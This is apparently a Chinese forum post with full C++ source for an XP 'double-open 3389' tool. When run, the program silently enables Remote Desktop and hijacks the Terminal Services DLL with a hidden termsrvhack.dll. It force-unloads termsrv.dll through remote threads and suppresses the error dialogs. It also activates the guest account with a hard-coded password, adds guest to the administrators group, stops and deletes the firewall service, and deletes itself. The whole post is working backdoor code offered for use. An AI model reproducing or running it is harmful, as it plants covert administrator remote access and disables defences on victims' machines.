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| 关键词： nbsp NULL return DWORD HANDLE HKEY hModuleHandle FALSE CloseHandle 32 |
编译后,直接运行,XP的终端自动开启激活guest,密码为vipver,加管理员组,并且可以多用户登录 [Copy to clipboard] [ - ]CODE:// xp3389.cpp : XP下双开3389的工具//#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")#include "stdafx.h"#include "resource.h"#include <windows.h>#include <tlhelp32.h>DWORDGetProcessId(LPCTSTR szProcName){PROCESSENTRY32 pe; DWORD dwPid;DWORD dwRet;BOOL bFound = FALSE; HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSP){pe.dwSize = sizeof( pe );for (dwRet = Process32First(hSP, &pe); dwRet;dwRet = Process32Next(hSP, &pe)){ if (lstrcmpi( szProcName, pe.szExeFile) == 0) { dwPid = pe.th32ProcessID; bFound = TRUE; break; }}CloseHandle(hSP);if (bFound == TRUE){ return dwPid;}}return NULL;} bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam){if (!IsWindowVisible(hwnd))return true; DWORD dwWindowThreadId = NULL;DWORD dwLsassId = (DWORD)lParam;GetWindowThreadProcessId(hwnd, &dwWindowThreadId);if (dwWindowThreadId == (DWORD)lParam){// 关闭指定进程的窗口SendMessage(hwnd, WM_CLOSE, 0, 0);}return true;}// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode){HKEY hKey; DWORD dwDisposition; int iResult =0; __try{ // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);switch(Mode) { case 0: if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS) __leave; case 1: if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; switch(Type) { case REG_SZ: case REG_EXPAND_SZ: if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS) iResult =1; break; case REG_DWORD: if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS) iResult =1; break; case REG_BINARY: break; } break; case 2: if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS) iResult =1; break; case 3: if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS) iResult =1; break;}}__finally {RegCloseKey(MainKey); RegCloseKey(hKey);}return iResult;}bool DebugPrivilege(const char *PName, BOOL bEnable){BOOL bResult = TRUE;HANDLE hToken;TOKEN_PRIVILEGES TokenPrivileges; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)){bResult = FALSE;return bResult;}TokenPrivileges.PrivilegeCount = 1;TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS){bResult = FALSE;} CloseHandle(hToken);return bResult; }bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle){HANDLE hRemoteThread;HANDLE hProcess; if (hModuleHandle == NULL)return false;hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);if (hProcess == NULL)return false; HMODULE hModule=::GetModuleHandle("kernel32.dll");LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, "FreeLibrary");hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL); if(hRemoteThread==NULL){::CloseHandle(hProcess);return false;}::WaitForSingleObject(hRemoteThread,INFINITE);::CloseHandle(hProcess);::CloseHandle(hRemoteThread);return true;}HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath){HANDLE hModuleHandle = NULL;MODULEENTRY32 me32={0};HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);me32.dwSize=sizeof(MODULEENTRY32);if(::Module32First(hModuleSnap, &me32)){do{ if (!lstrcmpi(me32.szExePath, lpModulePath)) { hModuleHandle = me32.hModule; break; }}while(::Module32Next(hModuleSnap,&me32));}::CloseHandle(hModuleSnap);return hModuleHandle;}bool UnloadModule(LPCTSTR lpModulePath){BOOL bRet = false;PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32); HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //查找相关的进程if(::Process32First(hProcessSnap, &pe32)){do{ HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath); if (hModuleHandle != NULL) { bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle); }}while (Process32Next(hProcessSnap,&pe32));}CloseHandle(hProcessSnap);return bRet;}void StartService(LPCTSTR lpService){SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );if ( NULL != hSCManager ){SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);if ( NULL != hService ){ StartService(hService, 0, NULL); CloseServiceHandle( hService );}CloseServiceHandle( hSCManager );}}BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName){HGLOBAL hRes;HRSRC hResInfo;HANDLE hFile;DWORD dwBytes; hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);if (hResInfo == NULL)return FALSE;hRes = LoadResource(NULL, hResInfo);if (hRes == NULL)return FALSE;hFile = CreateFile(lpFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == NULL)return FALSE;WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);CloseHandle(hFile); return TRUE;}void SetReg(){WriteRegEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\TermService","Start",REG_DWORD,NULL,2,0);WriteRegEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "KeepRASConnections", REG_SZ, "1", 0, 0);WriteRegEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "fDenyTSConnections", REG_DWORD, NULL, 0, 0);WriteRegEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", "EnableConcurrentSessions", REG_DWORD, NULL, 1, 0);WriteRegEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters", "ServiceDll", REG_EXPAND_SZ,"%SystemRoot%\\system32\\termsrvhack.dll", 0, 0);}void ReleaseDll(){char strSystemPath[MAX_PATH];char strDllcachePath[MAX_PATH];GetSystemDirectory(strSystemPath, sizeof(strSystemPath));GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));lstrcat(strSystemPath, "\\termsrvhack.dll");lstrcat(strDllcachePath, "\\dllcache\\termsrvhack.dll");ReleaseResource(IDR_DLL, "BIN", strSystemPath);ReleaseResource(IDR_DLL, "BIN", strDllcachePath);SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);}bool IsOSXP(){OSVERSIONINFOEX OsVerInfoEx;OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;}void HijackService(){char strDll[MAX_PATH];GetSystemDirectory(strDll, sizeof(strDll));lstrcat(strDll, "\\termsrv.dll");// 释放termsrvhack.dllReleaseDll(); // 遍历进程卸载现在加载的DLLDebugPrivilege(SE_DEBUG_NAME, TRUE);if (!UnloadModule(strDll))return;DebugPrivilege(SE_DEBUG_NAME, FALSE); // 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框// 对进程赋予关闭权限DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);DWORD dwLsassId = GetProcessId("csrss.exe");while (!AbortSystemShutdown(NULL)){// 一些系统是会弹出drwtsn32.exeDWORD dwDrwtsn32Id = GetProcessId("drwtsn32.exe");if (dwDrwtsn32Id != NULL){ EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);}// 模块强制卸载时会出错，关闭csrss.exe进程弹出的出错窗口EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);Sleep(10);}DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);}int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state ){// 一些注册表的操作SetReg();if (IsOSXP()){// 替换DLLHijackService();}// 开始终端服务StartService("TermService");// 激活guest,加管理员组，自删除，停止XP自带的防火墙，并删除它char strCommand[1024];char strSelf[MAX_PATH];GetModuleFileName(NULL, strSelf, sizeof(strSelf));wsprintf(strCommand, "cmd.exe /c net user guest /active:yes && net user guest vipver && net localgroup administrators guest /add && net stop SharedAccess /y && del \"%s\" && sc delete SharedAccess", strSelf);WinExec(strCommand, SW_HIDE);return 0;} |
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